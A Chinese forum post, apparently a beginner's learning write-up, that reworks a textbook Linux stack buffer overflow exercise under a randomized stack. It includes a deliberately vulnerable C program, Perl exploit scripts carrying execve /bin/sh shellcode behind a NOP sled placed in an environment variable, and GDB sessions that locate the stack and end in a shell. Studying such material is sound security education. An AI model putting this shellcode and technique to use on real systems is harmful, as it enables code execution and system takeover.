不过GCC和GDB版本没变...应该不成问题吧
菜鸟写的文章..高手路过就看看我最后总结的几个问题吧...前面就略过好了
原文简述如下:
1) 首先是找到环境变量问题:
由于进程现在分配的栈区地址范围是可变的...并不是从0xc0000000开始了(不过一定在0xc0000000以下的低址..这是用户态所分配的栈区)....不过栈区还是可以找到的....:
代码: 全选
simple_overflow.c
//这里用了我改的那个版本的..不过其实没关系哪个程序都是可以的(每个进程都有自己的栈区么~不过这里只是指用户态的栈区)
#include <stdio.h>
#include <string.h>
char largebuff[] =
"12345123451234512===ABCD";
void copyout(void)
{
char smallbuff[16];
getchar();
strcpy (smallbuff,largebuff);
}
int main (void)
{
copyout();
}
1 > 用GDB调试器找...比较类似书上的方法:
代码: 全选
GNU gdb 6.6-debian
......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b copyout
//这里书上是在main函数下断点...我改过的程序主功能在copyout...所以就在copyout下断点了(好像也没什么关系..一个进程就一个栈区的说....注:当时刚开始弄的时候没明白..现在验证过后发现下断点的位置和栈区是没有联系的..栈区是创建程序的时候划分的说)
Breakpoint 1 at 0x804837a
(gdb) r
Starting program: /home/ojjou/simple_overflow
Breakpoint 1, 0x0804837a in copyout ()
(gdb) i r
eax 0x1 1
ecx 0xbfd1ec30 -1076761552
edx 0xbfd1ec50 -1076761520
ebx 0xb7f81ff4 -1208475660
esp 0xbfd1ebf0 0xbfd1ebf0
//看看现在的esp这个大概就能帮你找到栈区哦...因为当前ESP的值也是在栈区中的阿..我的方法是把ESP的值复制出来:0xbfd1ebf0然后改成:0xbfd1efc0...因为通过实验环境变量的起始地址后3位一定是fc0...
ebp 0xbfd1ec08 0xbfd1ec08
esi 0xb7fb2ce0 -1208275744
edi 0x0 0
eip 0x804837a 0x804837a <copyout+6>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/64x 0xbfd1efc0
//于是我就按这个值去检索 为什么是64x呢..因为当时我并不确定环境变量地址的末三位是fc0..然而x/64x正好一直回车下去就可以一个地址不落的检索下去:
0xbfd1efc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1efd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1efe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1eff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f000: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f010: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f020: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f030: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f040: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f070: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f080: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f090: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f0b0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
//从这里正好又回到c0了..一路回车一定能探到栈底的
0xbfd1f0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f100: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f110: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f120: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f130: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f140: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f150: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f160: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f170: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f180: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f190: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd1f1b0: 0x00000000 0x00000000 0x00000000 0x00000000
//不过确定末3位后我采用更方便的方法:在 0xbfd1efc0的基础上第四位递加进行检索: 就是:0xbfd1efc0+0x1000= 0xbfd1ffc0
(gdb) x/64x 0xbfd1ffc0
//然后栈底就出来了:
0xbfd1ffc0: 0x69726f68 0x43007974 0x524f4c4f 0x4d524554
0xbfd1ffd0: 0x6f6e673d 0x742d656d 0x696d7265 0x006c616e
0xbfd1ffe0: 0x6d6f682f 0x6a6f2f65 0x2f756f6a 0x706d6973
0xbfd1fff0: 0x6f5f656c 0x66726576 0x00776f6c 0x00000000
0xbfd20000: Cannot access memory at address 0xbfd20000
//这个是栈底..大家试的时候可能得到的栈底是和我这个不同的....不过有类似的规律栈底的末3位必为0
(gdb) x/s 0xbfd1ffc0
//然后这就是环境变量了,不过有时候栈底和环境变量并不一定会幸运的同时出现..这个问题下文再提及:
0xbfd1ffc0: "hority"
(gdb)
0xbfd1ffc7: "COLORTERM=gnome-terminal"
(gdb)
0xbfd1ffe0: "/home/ojjou/simple_overflow"
(gdb)
0xbfd1fffc: ""
(gdb)
0xbfd1fffd: ""
(gdb)
0xbfd1fffe: ""
(gdb)
0xbfd1ffff: ""
(gdb)
0xbfd20000: <Address 0xbfd20000 out of bounds>
cat /proc/"pid"/maps
#"pid"是进程号..这句的意思是获得进程号为"pid"的内存映像
具体实现如下:
代码: 全选
ojjou@ojjou-laptop:~$ gdb simple_overflow
GNU gdb 6.6-debian
....
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) r
Starting program: /home/ojjou/simple_overflow
Breakpoint 1, 0x0804839d in main ()
//以上只是为了运行simple_overflow
代码: 全选
ojjou@ojjou-laptop:~$ ps ax|grep simple_overflow
//这句是为了找到simple_overflow 的pid号如下可知simple_overflow 的进程号(pid)为6095(这个也是随机分配的....在我看来..不过也应该是有算法的把..)
6094 pts/0 S+ 0:00 gdb simple_overflow
6095 pts/0 T 0:00 /home/ojjou/simple_overflow
6152 pts/1 R+ 0:00 grep simple_overflow
ojjou@ojjou-laptop:~$ cat /proc/6095/maps|grep [stack]
//加入grep是为了方便找到栈区就是[stack]这个项
08049000-0804a000 rw-p 00000000 08:03 389098 /home/ojjou/simple_overflow
bfb9d000-bfbb3000 rw-p bfb9d000 00:00 0 [stack]
//可得出栈区在bfb9d000-bfbb3000之间..
代码: 全选
(gdb) x/64x 0xbfbb2fc0
0xbfbb2fc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfbb2fd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfbb2fe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfbb2ff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfbb3000: Cannot access memory at address 0xbfbb3000 //这里果然就是栈底
环境变量在那呢:
代码: 全选
(gdb) x/20x 0xbfbb1fc0
//环境变量在这里偏移了0x1000...(0xbfbb2fc0-0x1000=0xbfbb1fc0)....
0xbfbb1fc0: 0x69726f68 0x43007974 0x524f4c4f 0x4d524554
0xbfbb1fd0: 0x6f6e673d 0x742d656d 0x696d7265 0x006c616e
0xbfbb1fe0: 0x6d6f682f 0x6a6f2f65 0x2f756f6a 0x706d6973
0xbfbb1ff0: 0x6f5f656c 0x66726576 0x00776f6c 0x00000000
0xbfbb2000: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/s 0xbfbb1fc0
0xbfbb1fc0: "hority"
(gdb)
0xbfbb1fc7: "COLORTERM=gnome-terminal"
(gdb)
0xbfbb1fe0: "/home/ojjou/simple_overflow"
(gdb)
0xbfbb1ffc: ""
(gdb)
0xbfbb1ffd: ""
(gdb)
0xbfbb1ffe: ""
(gdb)
0xbfbb1fff: ""
(gdb)
其实第二种找栈区方法还有点击"系统"->"系统管理"->"系统监视器"->找到所要进程单击右键->选"内存镜像"...同样也能看到栈区的...
2) 原文的程序分析:
漏洞程序vulnerable.c
代码: 全选
#include <stdio.h>
#include <string.h>
int main (int argc,char *argv[]) //接收传递的参数..此漏洞由于没有检查参数的长度..使得传递的字符串可能大于vulnbuff[16]的导致了溢出的漏洞(当初我连这句都没有看懂...)
{
char vulnbuff[16];
strcpy(vulnbuff,argv[1]); //接收参数并复制到vulnbuff导致溢出
printf ("\n%s\n,vulnbuff");
getchar(); //调试用...
}
代码: 全选
#! /usr/bin/perl -w #这句是perl的基础语句..就是让计算机知道这是perl程序..也给出了"perl"(编译程序)的地址
$Shellcode=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
#注意有个"."(dot)点号这是连接符....是连接上下两行字符串的意思
#"$" 符号是定义变量的意思...perl中没有整形,数字,字符串什么的之分都是靠编译器自己分析认定的..现在此句是定义了个字符串(也就是shellcode)
$path="/home/ojjou/perl_ex/vulnerable";
#这句意思就是定一个变量"path"付给后面的值或者说是字符串"/home/ojjou/perl_ex/vulnerable"...
$ret =$0xbffffffc-(length($path)+1)-(length($Shellcode)+1);
#计算地址因为原文内核栈底地址固定..使得shellcode的位置可以精确定位..
$new_retword =pack('l',$ret);
#大致意思就是把计算得出的地址$ret压缩成长字..有点类似强制类型转化(原来的$ret值会被认为是整形..)
printf ("[+] Using ret Shellcode 0x%x\n",$ret);
%ENV=();$ENV{CC}=$Shellcode;
#此句是关键就是大概意思就是把shellcode存入环境变量中去...
exec "$path",$new_retword x 8;
#此句调用子例程并传递参数(就是$path中的那个vulnerable的地址的字符串)并且结束自身..其实就是为了环境变量阿...子例程继承父进程的环境变量..
#这样shellcode就因为我们的exploit.pl通过环境变量传递给了vulnerable....
#传递的参数就是:"$new_retword x 8"..注意"x"是X(字母x)不是"*"(星号)..."x"在perl里是重复的意思的...例如:"12" x 2 ; 就是"1212".指令也就是$new_retword 重复8次后作为参数传递给子进程...
下面是被我改得面目全非的获得shell的溢出程序:
首先是漏洞程序(连漏洞程序的改了真是丢脸...可见我的编程功底太差了!..还希望有编程好的兄弟大虾们能帮我看看程序解决一下问题~~但是为了sh我真是不择手段了)vulnerable.c:
代码: 全选
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//头文件好像有个多余的..当时调试的时候抓狂... 把所有知道的头文件都加进去了..(水平差只好用排除法减少问题出现的几率...虽然回头看看觉得十分盲目..不过无知无畏阿..什么错误都敢犯)
void copyout (char a[])
//同样是把copyout调到子函数里运行...
{
char vulnbuff[16];
strcpy (vulnbuff,a);
}
int main (void)
{
int a[1];
int i=20;
char largebuff[]="12345123451234512===abcd";
//其实本程序目的就是把"abcd"改写成我们需要的shellcode的地址;
//真是改的面目全非了..倒是和第一个程序有点像.
for ( i=20 ; i < 24 ; i++)
/*这个循环目的很简单就是手工输入返回地址用的(就是被覆盖的地址)因为调试中发现现版本的内核分配的栈底地址是可变的..并不是固定的.所以在进程创建之前我没办法了解它的栈底到底在那里(除非能知道内核是怎么分配栈的..我没找到相关文章..有哪个高手知道一定要告诉我阿!)...只好等他创建后在去寻找它的栈底和环境变量了...当然我又不会动态传递参数(就是在进程运行的时候传参数给他....谁会阿?哪位高手教教我!...书上原文是用perl来传递参数的...如果能用perl动态传递参数那就更好了!)...说到这感觉丢人了...只能用土方法(纯手工)把地址覆盖进去了...不过这样少少学过C的人都能看懂吧~哈哈(自我安慰..)*/
{
scanf ("%x" ,&a[0]);
printf("%c\n",a[0]);
printf("%d\n",i);
largebuff[ i ] =(char) a[0];
printf ("%s\n",largebuff);
}
copyout(largebuff);
}
然后是改写后的"利用程序"(只能算半个利用程序...另外一半是手工完成的)
exploit.pl(怎么什么都改了?....水平太差阿!...不要BS我阿!!)
代码: 全选
#! /usr/bin/perl -w
$Shellcode=
"\x90\x90\x90\x90\x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
#刚开始我把shellcode打错了,导致我调试的时候出错了..一处会停在漏掉的那个字符那..想来也是..因为程序不完整停也是正常的么..
#我当时没注意还以为是内核聪明的在返回地址上加了偏移呢..让我的shellcode无法运行呢...我在shellcode前面还加了几个"\x90"就是nop是什么也不做的意思..方便调试嘛...落在那地址范围就能成功了
$path="/home/ojjou/perl_ex/vulnerable";
%ENV=();$ENV{CC}=$Shellcode;
print "The vulnerable has runed!.\n.";
exec "$path";#这里就不传递参数了..因为在创建进程前我没办法知道
当然我本来不想手算的(或者说是手工寻址)...刚开始我其实是把exploi.pl分成了exploit.pl和exploit2.pl....exploit.pl如上..exploit2.pl则是计算(通过给exploit2.pl传递栈底)和动态传递参数模块.结果在计算和动态传递参数上都出了问题:
1) 通过栈底计算出shellcode的精确地址....在调试中发现环境变量的地址和栈底的距离也是不确定的!...不像传统的一定是在栈底附近...他有时候会减去0x1000的偏移..(不了解其原理...知道的高手请告诉告诉我!~~..不过大部分时候还是如书上的在栈底附近的)
2) 动态传递参数...由于不会所以就搁浅了...
开始调试:
打开一个终端(以后简称其为"一终端")
代码: 全选
ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl
The vulnerable has runed!.
[] //此为光标..
代码: 全选
ojjou@ojjou-laptop:~/perl_ex$ ps ax|grep vulnerable
6088 pts/0 S+ 0:00 /home/ojjou/perl_ex/vulnerable
6116 pts/1 R+ 0:00 grep vulnerable
ojjou@ojjou-laptop:~/perl_ex$ gdb vulnerable 6088
GNU gdb 6.6-debian
...
...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to program: /home/ojjou/perl_ex/vulnerable, process 6088
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0xffffe410 in __kernel_vsyscall ()
(gdb) i r
eax 0xfffffe00 -512
ecx 0xb7fd6000 -1208131584
edx 0x400 1024
ebx 0x0 0
esp 0xbfc6beb0 0xbfc6beb0
ebp 0xbfc6bee0 0xbfc6bee0
esi 0xb7fc3440 -1208208320
edi 0xb7e7c6b0 -1209547088
eip 0xffffe410 0xffffe410 <__kernel_vsyscall+16>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
//开始找环境变量:
(gdb) x/64x 0xbfc6bfc0
0xbfc6bfc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6bfd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6bfe0: 0x00000000 0x00000000 0x00000000 0xb7ff4668
0xbfc6bff0: 0x00000100 0xb7e7c6b0 0xb7ff4954 0xb7ff4650
0xbfc6c000: 0x00000000 0x00010000 0x00000000 0xffffe168
0xbfc6c010: 0x0000000f 0x00000000 0x00000000 0x00000000
0xbfc6c020: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6c030: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6c040: 0x00000000 0x00000000 0x00000000 0x080485bd
0xbfc6c050: 0x00000000 0x00000000 0x00000018 0x00001bac
0xbfc6c060: 0xb7ff4948 0x00000000 0x00000000 0x00000000
0xbfc6c070: 0x00000000 0x00000000 0xffffe074 0x00000000
0xbfc6c080: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6c090: 0x00000000 0x00000000 0x0804827a 0x0d696910
0xbfc6c0a0: 0xb7fd8b38 0xbfc6c0dc 0xb7fe1c0b 0xb7e8edf6
0xbfc6c0b0: 0x08048270 0xb7ff4941 0xb7ff4934 0xb7e8880c
(gdb) x/64x 0xbfc6cfc0
0xbfc6cfc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6cfd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6cfe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6cff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d000: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d010: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d020: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d030: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d040: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d070: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d080: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d090: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6d0b0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/64x 0xbfc6dfc0
#在这里!记住这个地址“0xbfc6dfc0”由于我在前面加上了几个nop...现在只要把0xbfc6dfc0当作返回地址溢出覆盖到vulnerable中...
0xbfc6dfc0: 0x90909090 0x6852d231 0x68732f6e 0x622f2f68
0xbfc6dfd0: 0x52e38969 0x8de18953 0x80cd0b42 0x6f682f00
0xbfc6dfe0: 0x6f2f656d 0x756f6a6a 0x7265702f 0x78655f6c
0xbfc6dff0: 0x6c75762f 0x6172656e 0x00656c62 0x00000000
0xbfc6e000: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e010: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e020: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e030: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e040: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e070: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e080: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e090: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6e0b0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/64x 0xbfc6efc0
0xbfc6efc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6efd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6efe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6eff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfc6f000: Cannot access memory at address 0xbfc6f000
(gdb) disas copyout
Dump of assembler code for function copyout:
0x08048414 <copyout+0>: push %ebp
0x08048415 <copyout+1>: mov %esp,%ebp
0x08048417 <copyout+3>: sub $0x18,%esp
0x0804841a <copyout+6>: mov 0x8(%ebp),%eax
0x0804841d <copyout+9>: mov %eax,0x4(%esp)
0x08048421 <copyout+13>: lea 0xfffffff0(%ebp),%eax
0x08048424 <copyout+16>: mov %eax,(%esp)
0x08048427 <copyout+19>: call 0x8048354 <strcpy@plt>
0x0804842c <copyout+24>: leave
//下边下的断点是这个地址...也就是在ret前让他停下来...我们好了解其明细
0x0804842d <copyout+25>: ret
End of assembler dump.
(gdb) b *0x0804842c
Breakpoint 1 at 0x804842c
(gdb) c
Continuing.
代码: 全选
ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl
The vulnerable has runed!.
//依次输入从c0 ; df; c6; bf; (也就是0xbfc6dfc0倒过来写)
c0
20
12345123451234512===�bcd
df
21
12345123451234512===��cd
c6
22
12345123451234512===���d
bf
�
23
12345123451234512===��ƿ
转入"二终端":
代码: 全选
Breakpoint 1, 0x0804842c in copyout () //现在停在ret前了
(gdb) c //按C继续
Continuing.
代码: 全选
...
...
23
12345123451234512===��ƿ
$ echo hello //看这里 一个sh已经获得!
hello
$
首先是如何能精确定位shellcode呢:先来看一下堆栈最开始的使用情况:如图所示.
低地址(堆栈增长方向)
| ... |
++++++++++++
| 堆栈数据 |
++++++++++++
| 环境变量 |
++++++++++++
| 程序路径 |
++++++++++++ <------与栈底相差4个字节或者4100(相差0x1000+4)个字节...
| 栈底 |
++++++++++++ <------此为栈底(可变.随机生成)但末位必为000并且在0xc0000000以上地址
高地址
堆栈结构内容
图:linux堆栈结构
用gdb实际调试得到的信息如下:
代码: 全选
ojjou@ojjou-laptop:~$ gdb simple_overflow
GNU gdb 6.6-debian
.......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) r
Starting program: /home/ojjou/simple_overflow
Breakpoint 1, 0x0804839d in main ()
(gdb) i r
eax 0x1 1
ecx 0xbfbf3310 -1077988592
edx 0xbfbf3330 -1077988560
ebx 0xb7fa3ff4 -1208336396
esp 0xbfbf32f4 0xbfbf32f4
ebp 0xbfbf32f8 0xbfbf32f8
esi 0xb7fd4ce0 -1208136480
edi 0x0 0
eip 0x804839d 0x804839d <main+14>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/20x 0xbfbf3fc0
0xbfbf3fc0: 0x69726f68 0x43007974 0x524f4c4f 0x4d524554
0xbfbf3fd0: 0x6f6e673d 0x742d656d 0x696d7265 0x006c616e
0xbfbf3fe0: 0x6d6f682f 0x6a6f2f65 0x2f756f6a 0x706d6973
0xbfbf3ff0: 0x6f5f656c 0x66726576 0x00776f6c 0x00000000
0xbfbf4000: Cannot access memory at address 0xbfbf4000
(gdb) x/s 0xbfbf3fc0
0xbfbf3fc0: "hority"
(gdb)
0xbfbf3fc7: "COLORTERM=gnome-terminal"
(gdb)
0xbfbf3fe0: "/home/ojjou/simple_overflow" //这是程序路径长度
(gdb)
0xbfbf3ffc: ""
(gdb)
0xbfbf3ffd: ""
(gdb)
0xbfbf3ffe: ""
(gdb)
0xbfbf3fff: ""
(gdb)
0xbfbf4000: <Address 0xbfbf4000 out of bounds>
代码: 全选
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void copyout (char a[])
{
char vulnbuff[16];
strcpy (vulnbuff,a);
}
int main (void)
{
int a[1];
int i=20;
char largebuff[]="12345123451234512===abcd";
for ( i=20 ; i < 24 ; i++)
{
scanf ("%x" ,&a[0]);
printf("%c\n",a[0]);
printf("%d\n",i);
largebuff[ i ] =(char) a[0];
printf ("%s\n",largebuff);
}
copyout(largebuff);
}
利用程序分为两个部分:
1)exploit.pl (传递环境变量(Shellcode)功能)
代码: 全选
#! /usr/bin/perl -w
$Shellcode=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$nop="\x90";
$nop=$nop x 4096;
$Shellcode= $nop . $Shellcode ; #在Shellcode前面加了个4096个nop
$path="/home/ojjou/perl_ex/vulnerable";
%ENV=();$ENV{CC}=$Shellcode;
print "The vulnerable has runed!.\n";
exec "$path";
代码: 全选
#! /usr/bin/perl -w
$Shellcode=
"\x90\x90\x90\x90\x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path="/home/ojjou/perl_ex/vulnerable";
print "栈底为:\n";
my $zhan_D =0x0; #”my”是私有的意思..和JAVA里的私有变量差不多.
chomp ( $zhan_D =<>);
#“chomp()是去掉换行符的操作..由于在标准输入中输入的…最后会用回车(换行符)结束…由于不需要这个换行符所以去掉..”
$zhan_d="\x0";
#由于perl是智能识别变量存的的东西是用于数值还是字符串的(perl里表示都是一样的)上句是想让它认识到..这个变量里的是十六进制值.
$zhan_d = $zhan_D-0x4;
$ret =$zhan_d-(length($path)+1)-(length($Shellcode)+1)-0x1000;
#此程序的不足之处就是不够自动化!
printf ("[+] Using ret Shellcode 0x%x\n",$ret);
代码: 全选
ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl
//不能执行吗? 直接perl exploit.pl也是一样的…想让他能象上边执行..右键电击属性有一个选项能让它成为执行文件的.
The vulnerable has runed!.
[] //光标
代码: 全选
ojjou@ojjou-laptop:~/perl_ex$ ps ax|grep vulnerable
6089 pts/0 S+ 0:00 /home/ojjou/perl_ex/vulnerable
6120 pts/1 R+ 0:00 grep vulnerable
ojjou@ojjou-laptop:~/perl_ex$ cat /proc/6089/maps|grep [stack]
08048000-08049000 r-xp 00000000 08:03 388769 /home/ojjou/perl_ex/vulnerable
08049000-0804a000 rw-p 00000000 08:03 388769 /home/ojjou/perl_ex/vulnerable
b7e59000-b7f9d000 r-xp 00000000 08:03 891850 /lib/tls/i686/cmov/libc-2.6.1.so
b7f9d000-b7f9e000 r--p 00143000 08:03 891850 /lib/tls/i686/cmov/libc-2.6.1.so
b7f9e000-b7fa0000 rw-p 00144000 08:03 891850 /lib/tls/i686/cmov/libc-2.6.1.so
b7fa0000-b7fa3000 rw-p b7fa0000 00:00 0
b7fb5000-b7fcf000 r-xp 00000000 08:03 697017 /lib/ld-2.6.1.so
b7fcf000-b7fd1000 rw-p 00019000 08:03 697017 /lib/ld-2.6.1.so
bf896000-bf8ad000 rw-p bf896000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
ojjou@ojjou-laptop:~/perl_ex$ echo $((0xbf8ad000))
3213545472
ojjou@ojjou-laptop:~/perl_ex$ perl exploit2.pl
栈底为:
3213545472
[+] Using ret Shellcode 0xbf8abfbf
ojjou@ojjou-laptop:~/perl_ex$ gdb vulnerable 6089
GNU gdb 6.6-debian
......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to program: /home/ojjou/perl_ex/vulnerable, process 6089
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0xffffe410 in __kernel_vsyscall ()
(gdb) disas copyout
Dump of assembler code for function copyout:
0x08048414 <copyout+0>: push %ebp
0x08048415 <copyout+1>: mov %esp,%ebp
0x08048417 <copyout+3>: sub $0x18,%esp
0x0804841a <copyout+6>: mov 0x8(%ebp),%eax
0x0804841d <copyout+9>: mov %eax,0x4(%esp)
0x08048421 <copyout+13>: lea 0xfffffff0(%ebp),%eax
0x08048424 <copyout+16>: mov %eax,(%esp)
0x08048427 <copyout+19>: call 0x8048354 <strcpy@plt>
0x0804842c <copyout+24>: leave
0x0804842d <copyout+25>: ret
End of assembler dump.
(gdb) b *0x0804842c
Breakpoint 1 at 0x804842c
(gdb) c
Continuing.
计算得出的地址是:0xbf8abfbf,于是返回"一终端"输入bf;bf;8a;bf:
代码: 全选
......
The vulnerable has runed!.
bf
�
20
12345123451234512===�bcd
bf
�
21
12345123451234512===��cd
8a
�
22
12345123451234512===���d
bf
�
23
12345123451234512===����
代码: 全选
Breakpoint 1, 0x0804842c in copyout ()
(gdb) x/20x 0xbf8abfbf
0xbf8abfbf: 0x90909090 0x52d23190 0x732f6e68 0x2f2f6868 //看落入Shellcode了...就算不在栈底附近也是能定位的..只是加长了Shellcode的长度(4kb阿)
0xbf8abfcf: 0xe3896962 0xe1895352 0xcd0b428d 0x682f0080
0xbf8abfdf: 0x2f656d6f 0x6f6a6a6f 0x65702f75 0x655f6c72
0xbf8abfef: 0x75762f78 0x72656e6c 0x656c6261 0x00000000
0xbf8abfff: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/s 0xbf8abfbf
0xbf8abfbf: "\220\220\220\220\2201�Rhn/shh//bi\211�RS\211�\215B\v�\200"
(gdb)
0xbf8abfdd: "/home/ojjou/perl_ex/vulnerable"
(gdb)
0xbf8abffc: ""
(gdb)
0xbf8abffd: ""
(gdb)
0xbf8abffe: ""
(gdb)
0xbf8abfff: ""
代码: 全选
(gdb) c
Continuing.
c
代码: 全选
......
12345123451234512===����
$ echo hello world!
hello world!
$
<完>
总结:
一、 栈底地址可变…目前还不知道它的分配原理…不过个人猜测应该与进程号内存空间等有一定的线形关系吧…由于地址可边..以参数传递溢出数据变得不可行了…所以采用在进程运行后再对其传递攻击代码(也就是定位地址)..但是由于本人编程功底不足..对传递参数部分不太了解…故用简单的标准输入输出进行实验…还望有高手能够指点一二..
二、 知道了栈底还是不能定位shellcode…原因是程序路径的地址与栈底不再只是固定的值了…不过相对变化较小:只是随机的会偏移0x1000个字节…所以我在shellcode开头加上了0x1000个nop以达到定位shellcode的效果…但是也使得shellcode的长度变得很大…(多了4KB啊)..没想到更好的办法解决..也希望有高手能够指点一下
三、 感谢《网络渗透技术》此书的所有作者和安焦团队..你们的文章实在太好了...也十分不好意思改动你们的文章,如果有什么写的不对的地方也请指正和谅解。感谢SCZ的某篇文章(找栈底的指令是SCZ某篇文章上的…由于个人没记住文章..实在不好意思!)给我的启发…感谢google上的朋友们..还要感谢对我第一篇文章给予支持的朋友们!